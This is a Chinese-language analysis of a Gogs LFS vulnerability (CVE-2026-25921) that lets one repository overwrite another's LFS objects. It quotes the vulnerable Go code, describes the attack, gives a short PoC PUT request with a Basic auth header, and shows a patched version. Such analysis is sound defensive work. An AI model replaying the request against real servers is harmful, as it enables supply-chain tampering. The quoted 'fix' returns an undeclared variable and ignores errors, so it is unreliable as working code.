源码下载:

https://github.com/gogs/gogs/releases/tag/v0.14.1

一、漏洞概述

  • 漏洞编号: CVE-2026-25921
  • 影响产品: Gogs(开源自托管 Git 服务)
  • 影响版本: Gogs ≤ 0.14.1
  • 修复版本: Gogs ≥ 0.14.2
  • 漏洞类型: 跨仓库 LFS 对象覆盖、供应链攻击
  • 漏洞等级: 严重(CVSS 9.3)

漏洞核心: Gogs 在处理 Git LFS 对象上传时,未验证内容的 SHA-256 哈希与 OID 匹配,导致攻击者可在不同仓库间覆盖 LFS 对象,实现供应链攻击。

利用链: 获取目标 OID → 在其他仓库用该 OID 上传恶意内容 → 覆盖目标 LFS 对象 → 受害者拉取到恶意内容

二、前置知识:Git LFS 协议

LFS 核心设计

  • OID(Object ID) : 文件内容的 SHA-256 哈希,作为对象的唯一标识
  • 不可变性: 一旦 OID 生成,对应的内容不可更改
  • 存储结构: {root}/{oid[0]}/{oid[1]}/{oid}

示例:

文件内容: "Hello World"
SHA-256: 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
OID = 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
存储路径: /data/lfs/objects/5/f/5f8c5042...

三、漏洞代码分析

漏洞文件 1: 存储路径构造缺陷

文件: internal/lfsutil/storage.go

代码分析:

func (s *LocalStorage) storagePath(oid OID) string {
    if len(oid) < 2 {
        return ""
    }
    
    // ❌ 路径仅由 OID 决定,未包含仓库信息
    // 不同仓库的相同 OID 会存到同一位置
    return filepath.Join(s.Root, string(oid[0]), string(oid[1]), string(oid))
}

漏洞文件 2: 上传逻辑缺陷

文件: internal/lfsutil/storage.go

代码分析:

func (s *LocalStorage) Upload(oid OID, rc io.ReadCloser) (int64, error) {
    fpath := s.storagePath(oid)
    if fpath == "" {
        return 0, errors.New("invalid oid")
    }
    
    // ❌ 问题1: 使用 os.Create() 直接覆盖已存在的文件
    w, err := os.Create(fpath)
    if err != nil {
        return 0, errors.Wrap(err, "create file")
    }
    defer w.Close()
    
    // ❌ 问题2: 不验证内容哈希,直接复制
    written, err := io.Copy(w, rc)
    if err != nil {
        return 0, errors.Wrap(err, "copy file")
    }
    
    return written, nil
}

四、攻击流程

攻击场景

仓库 A (受害者):
  上传文件: dependency.bin
  内容: "合法依赖包"
  OID: abc123...
  存储: /data/lfs/objects/a/b/abc123...

仓库 B (攻击者):
  知道 OID: abc123...
  上传恶意内容,声明 OID: abc123...
  实际内容: "恶意后门代码"
  存储: /data/lfs/objects/a/b/abc123... (相同路径,直接覆盖!)

受害者仓库:
  拉取 OID: abc123...
  获取内容: "恶意后门代码" (而非原始的"合法依赖包")
  供应链攻击成功!

关键步骤

  1. 获取目标 OID: 攻击者克隆受害者的仓库,获取 LFS 对象的 OID
  2. 构造恶意请求: 在攻击者仓库中,使用受害者的 OID 上传恶意内容
  3. 触发覆盖: Gogs 由于缺少验证,直接用恶意内容覆盖目标 OID
  4. 受害者受害: 受害者仓库拉取该 OID 时,获取到恶意内容

示例poc

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>

五、漏洞修复

修复后的代码(0.14.2 版本)

func (s *LocalStorage) Upload(oid OID, rc io.ReadCloser) (int64, error) {
    // ✓ 修复1: 计算实际哈希
    hasher := sha256.New()
    tee := io.TeeReader(rc, hasher)
    
    // ✓ 修复2: 使用临时文件
    tmpPath := s.storagePath(oid) + ".tmp"
    
    // ✓ 修复3: 使用 O_EXCL 防止覆盖
    f, err := os.OpenFile(tmpPath, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0600)
    if os.IsExist(err) {
        // 文件已存在,返回现有大小(去重)
        stat, _ := os.Stat(s.storagePath(oid))
        return stat.Size(), nil
    }
    defer f.Close()
    
    // ✓ 写入内容
    io.Copy(f, tee)
    
    // ✓ 修复4: 验证哈希
    actualOid := hex.EncodeToString(hasher.Sum(nil))
    if actualOid != oid {
        os.Remove(tmpPath)  // 哈希不匹配,删除临时文件
        return 0, fmt.Errorf("oid mismatch")
    }
    
    // ✓ 重命名到最终位置
    os.Rename(tmpPath, s.storagePath(oid))
    
    return written, nil
}

修复要点对比

问题

漏洞版本

修复版本

哈希验证

无验证

计算实际哈希并验证

文件创建

os.Create()

- 覆盖

os.O_EXCL

- 防止覆盖

临时文件

无

使用 .tmp

文件

安全性

任意覆盖

完整性保证

六、防御建议

升级 Gogs 到 0.14.2 或更高版本:

七、参考链接

  1. https://github.com/gogs/gogs/security/advisories/GHSA-cj4v-437j-jq4c
  2. https://nvd.nist.gov/vuln/detail/CVE-2026-25921
  3. https://mp.weixin.qq.com/s/mh0yU485ImKrPFhc1gXuGQ